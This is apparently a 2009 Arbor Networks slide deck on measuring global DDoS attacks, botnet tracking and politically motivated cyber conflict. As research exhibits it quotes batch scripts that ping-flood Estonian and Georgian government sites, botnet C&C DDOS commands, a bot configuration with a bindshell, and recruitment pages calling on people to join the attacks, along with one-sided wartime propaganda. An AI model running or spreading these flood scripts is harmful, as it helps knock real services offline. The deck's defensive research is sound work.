Measuring Global Denial of Service Attacks

Jose Nazario, Ph.D.
jose@arbor.net

KAIST, Daejeon, KR 2009
Attack Spectrum

Website defacements: Integrity

August 12th, 2007, Via Giorgio Maone

Targeted malware, e.g. Gh0stnet: Confidentiality

DDoS, e.g. Estonia 2007: Availability
Internet Attack Scale - 2007

- Unique attacks exceeding indicated BPS threshold for single ISP
- Average of three 1-Gbps or larger attacks per day over 485 days of collection
- Two ~25 Gbps attacks reported by a single ISP (on same day, about one hour apart, duration of ~35 minutes)
2008 Survey: Attack Sizes - Growing

Largest Attack Size – 40 Gigabits Per Second

Source: Arbor Networks, Inc.

March, 2009: 48 Gbps attack observed on Internet
Data from March and April 2009
Rate alerts

Botnet/malcode tracking

BGP information

Server logs
Traffic Rate Alerts

- Flow or inline measurement
- Dynamic, against learned baseline
- N standard deviations above normal
- PPS, BPS, destination CIDR
- Static, basic misuse categories
- SYN floods, fragments, etc
- Hard PPS limits
- System summarizes, characterizes
Global aggregation in ATLAS from field systems
Global DDoS Traffic Q2 2009

DDoS victims, measured traffic (Peakflow)
Attacker mapping via attack flows
Active Botnet Tracking

- Project Bladerunner
- Collect malware
- Dynamic analysis
- Characterize as DDoS bot
- Identify server
- Send in Bladerunner (Py) continuously
http://bizus-kokovs.cc/cgi-bin/get.cgi
http://bizus-kokovs.cc/cgi-bin/get.cgi

FREQ 1800000
DDOS 0 5999940000 www.president.gov.ge / 0 win+love+in+Rusia 80 7
DDOS 3 5999940000 www.president.gov.ge 80 7
DDOS 2 5999940000 www.president.gov.ge 80 7
DDOS 1 5999940000 www.president.gov.ge 7
DDOS 0 5999940000 www.president.gov.ge / 1 win+love+in+Rusia 80 7

www.president.gov.ge | 62.168.168.9 | AS28751| GE
Botnet DDoS Activity - Q2 2009

DDoS Botnet C&C
Based on active botnet tracking, logging

DDoS Victims
Backbone Routes (BGP)

- Routeviews, Peakflow sources
- Monitor destination address announcements
- Response to an attack
- (GE) Part of the attack?

- Related: DNS tracking of targets
Community Tracking

- Blogs
- Forums
- Twitter
- Alerts for important events
- Keyword triggers
- Screen for additional sites, chatter
Cyberattack
Black Energy
Estonia
Botnet
DDoS
Who are we?
We are a group of students who are tired of sitting around doing nothing while the citizens of Sderot and the cities around the Gazza Strip are suffering, NO MORE!
We will not sit around and watch our children fear and cry out for help while the missiles are flying over their heads!
We say NO MORE!

What have we done about it?
We created a project that unites the computer capabilities of many people around the world.
Our goal is to use this power in order to disrupt our enemy’s efforts to destroy the state of Israel.
The more support we get, the efficient we are!

How can you help?
You can download and install the file from our site.
The file is harmless to your computer and could be immediately removed.
There is no need for identification of any kind - anonymity guaranteed!

You can contact us here: helpisraelwin@gmail.com

Reports
Reports from the communication warfare between Israel and Hamas:
- The www.sarayaalquds.org site is disrupted for days now!

Status
8218 people have joined us so far.
Категории

Главная
Новости
Аналитика
Дайджест
Экономика
Общество
История
Культура
Геноцид
Спорт
Фото
Видео
О нас
English ver.

Цитаты

"Отрывок из статьи видного грузинского ученого, философа, доктора исторических наук, профессора Геворка Кицховадзе: «... До сих пор не установлено, кто мы и откуда, поскольку на земле у нас нет родственных народов. Мы не знаем, куда нас несет наша судьба... Превращаясь в людей на берегах Евфрата и Тигра, но и там нас не познали, не давали жизнь весной, сухую землю освободить и жить...»

Иран condemns actions of Georgia and is ready to assist

The Iranian Ministry of Foreign Affairs has condemned the alleged assassination in restoration of the peace in South Ossetia. The Iranian management names actions of Georgia as a murder of defenseless people. The representative of Iranian foreign policy department Hassan Ghashgavi has informed on it today. "Deterioration of crisis and negative consequences caused by it can influence all region", - he has declared. - Iran is ready to render any help within the limits of the basic policy on assistance to an establishment of the world and stability in region".

Georgian soldiers were shooting down women, old people and children in South Ossetia

Georgian soldiers were shooting down women, old people and children in South Ossetia. Eight populated areas were wiped off from the face of the earth. Their defenders fell during Georgian aviation attack. As witnessed by Lona Tjioeva, resident of Dmanis village, "Georgian war administered houses and then the village was entered by soldiers who shot up old people, women and children". "We managed to get to the positions of the Russian peace-making contingent and they helped us to get to a safe place. Georgian shot down escaping people; the wounded were shot through the head. Only a few people survived. Russian soldiers helped us to get out of it. Now my mother and I are going to Mozdzik region, which is in Ossetia. We don't know anything about my brother. He works in Tskhinval militia" – told IA Regnum correspondent, a 19 year old student.

Russian: http://osiniform.ru/index.php?action_skin_change=1&skin_name=ru
English: http://osiniform.ru/index.php?action_skin_change=1&skin_name=en

29 августа 2008, 12:30

Russian | English | Français

ИА ОСИФОРМ собирает факты Третьего Геноцида Осетии

Номера и реквизиты для помощи погибшим в Отечественной войне в Южной Осетии
- Assemble all data
- Store in databases, query
- Join on targets
- Analyst melds together
- Nearly complete picture
Value of Data

- **Operational value**
  - Which links are affected
  - Which C&Cs to target for shutdown
  - What kind of attacks, targets are being hit

- **Investigative value (long term)**
  - Who may be behind attacks
DDoS Tools
Supper DDoS (V1.00)

Powerful DDoS tools, only for testing usage

**Target IP:** [Input Target IP or DNS name]

**Port:** 80 [Input Target Port]

**Protocol:** [TCP] [UDP] [ICMP] [Choose the protocol]

Information: Press "Attack" button to start attack!

[Attack] [Stop] [Cancel]
«Вселяющий СТРАХ»
Заплетая петлю

Заряжай по чуноофилам!

10 Май, 2007 at 7:29 PM

@echo off
SET PING_COUNT=50
SET PING_TIMEOUT=1000
:PING
echo Pinguem estonskie servera
ping -w %PING_TIMEOUT% -1 1000 -n %PING_COUNT% dns.estpak.ee
ing -w %PING_TIMEOUT% -1 1000 -n %PING_COUNT% 194.126.115.18
ping -w %PING_TIMEOUT% -1 1000 -n %PING_COUNT% ns.eenet.ee
Ингушетия.ORG

Новости

Нет, вновь атакуют ингушские сайты.

Ингушетия.ORG, 15.07.2009 00:00

Сегодня после полуночи снова взорваны DDoS-атаки против властей и ФСБ. Отделение виновных в политическом бунте, смертные казни, дезинформация и иные преступления.

Приложение Illusion Maker

Binary: C:\analysis\illusion\illusion_bot\BOTBIN\ACTION.EXE

IRC Administration

1. Host: irc.server.net Port: 5657 Chan: #chan Pass: 4test

WEB Administration

1. Host: movwhoro.in.the.net Port: 80 Path: /webadmin/ Refresh time: 1
2. Host: movwhoro.in.the.net Port: 80 Path: /webadmin/ 5 sec.

Default services:

- Socks4, port: 4444 R
- Socks5, port: 5555 R
- FTP, port: 6666 R
- Bindshell port: 8877 R

IRC Access

BOT PASSWORD: sockball

Options:

- Install Kernel Driver
- Auto DP admin on IRC channel
- IRC server need password
- Save services state in registry
- Inject code (if driver fails)
- Colored IRC messages
- Add to autoload

2006

Exit Save About

ARBOR NETWORKS
вот че нарыл:

ИНТЕРНЕТ-ВОЙНА: НУЖНА ТВОЯ ПОМОЩЬ!!!!!!

файлк лежит здесь: http://klenov.org/war.rar
Это архив, внутри bat файлик следующего содержания:

Цитата:
@echo off
@echo Call this file (MSK) 18:00, 20:00
@echo Thanks for support of South Ossetia! Please, transfer this file to the friends!
@echo pause
start ping www.newsgaorgia.ru -t -l 1024
start ping www.apsny.ge -t -l 1024
start ping www.nukri.org -t -l 1024
start ping www.opencontext.org.ge -t -l 1024
start ping www.messenger.com.ge -t -l 1024
start ping www.president.gov.ge -t -l 1024
start ping www.government.gov.ge -t -l 1024
start ping www.parliament.ge -t -l 1024
start ping nsc.gov.ge -t -l 1024
start ping www.constcourt.gov.ge -t -l 1024
start ping www.supremecourt.ge -t -l 1024
start ping www.cec.gov.ge -t -l 1024
start ping www.nbge.gov.ge -t -l 1024
start ping www.nplg.gov.ge -t -l 1024
start ping www.police.ge -t -l 1024
start ping www.mod.gov.ge -t -l 1024
start ping www.mes.gov.ge -t -l 1024
start ping www.mfa.gov.ge -t -l 1024
start ping www.iberiapac.ge -t -l 1024
start ping www.mof.ge -t -l 1024

Запустите его у себя и ваш компьютер будет создавать нагрузку на грузинские сайты, затрудняя их доступность. Держать сколько захотите. Если кто-то может придумать, что нибудь лучше, я только рад
Attribution
“Cyber warfare”? 

- Attacks appear to follow diplomatic issues, not lead
- Attack damage not on par with loss of life (GE, etc)
  - Inconvenience only

- Therefore, in general …
  - We assume non-state actors
  - We assume “right wing” political motivations
  - We assume news reports stir public
Student fined for attack against Estonian Web site

A 20-year-old Estonian student has been fined $1,642 for launching a cyberattack that crippled the Web sites of banks, schools, and government agencies.

By Jeremy Kirk, IDG News Service
January 24, 2008

A 20-year-old Estonian student has been fined for participating in a cyberattack that paralyzed Estonian Web sites and scoured the country's relationship with Russia, a government official said Thursday.

Dmitri Galushkevich used his home PC to launched a denial-of-service attack that knocked down the Web site for the political party of Estonia's prime minister for several days, said Gerri Naeasu, spokesman for the Northeast District Prosecutor's Office in Tallinn, Estonia's capital. Galushkevich must pay 17,500 kroons ($1,642).

Galushkevich is the only person who has been convicted since the cyberattack in April and May 2007 crippled the Web sites of banks, schools, and government agencies.

The attacks occurred after the Estonian government decided to relocate a Soviet-era World War II memorial of a bronze soldier. Ethnic Russians in Estonia rioted in the streets, and cyberattacks ensued. Russia denied involvement.

"He [Galushkevich] wanted to show that he was against the removal of this bronze statue," Maesalu. "At the moment, we don't have any other suspects."

But police are still trying to find others who may have been involved in the attacks, although the investigation is complicated since the attackers are likely outside Estonia, Maesalu said.

As the attacks were continuing, Estonian Defense Minister Jaak Aaviksoo called for stronger defenses in Europe against computer hackers.
Мы - представители русского хак-атакеринда, не потерпевшие военной и террористической агрессии со стороны Грузии в любом ее проявлении. Мы хотим жить в свободном мире и существовать на свободном пространстве, и мы не уступим ни одной части нашей свободы и независимости. Мы не примем никакой формы агрессии с любой стороны, и мы будем бороться за свободу и независимость России в Северном Кавказе и всюду, где это возможно.

Мы требуем прекращения всех форм агрессии против русских хак-атакериндов, которые действуют на территории России в интересах свободы и независимости. Мы призываем всех жителей России и всемирного сообщества, чтобы они поддерживали нас в нашей борьбе за свободу и независимость.

StopGeorgia.ru

Инфо

13.08.2008
День Траура. Скорбим по погибшим в Южной Осетии
16.08.2008
Форум проекта "Чуко" в штатном режиме
09.08.2008
Открыт сайт "Чуко" и начало информационной войны с Грузией
07.08.2008
Грузия развязала войну на южной границе с Южной Осетией

www.stopgeorgia.ru
Killgay.com, incasher.net, prosto.pizdos.net, vse.ohueli.net, a-nahui-vse-zaebalo-v-pizdu.com, googlecomao.com/yahooocom/aboutcom.net
Motivation
Elections - Intimidation
Critics - Censorship
Diplomatic Tensions - Support of One Nation
“Sit In” Protest

- September, 2009
- “Anonymous” attempts DDoS on AU PM, ACMA websites
  - Protesting Internet filtering in AU
  - Effects were minimal
Unknown Motivation - 77DDoS (KR, US)

- July 4-10, 2009, attacks on KR, US gov and commercial targets
- Technical details known, actors and motivations not
- KR-centric botnet (96%+)
- Early concerns of KP-state action
Response
Announced Cyber Attack Programs

- Several countries openly said they are exploring offensive tools in this arena
- DDoS may be a part of it
- Details unknown
- True state capabilities unknown
Biggest Political Threats from Cyber Conflict

- Dissidents’ organizations
- Freedom of speech
  - Critics
  - Press
  - Opposition candidates
- Elections
  - Fairness

- Internet is a communications medium
- These attacks threaten growth of liberties
Rising Popularity

- Few incidents in 1999-2002
  - Hainan Island
  - Israel-Palestinian clashes
  - NATO-Balkan conflict

- Massive growth since 2007
  - Estonia, Georgia best known
  - UA, RU domestic, RU-ex USSR, Belarus, Ingushetia, Chechnya
  - PS-IL
  - US
  - CN, Burma
  - IR

- No region is immune in 2009
Thank you

Kamsahamnida

감사합니다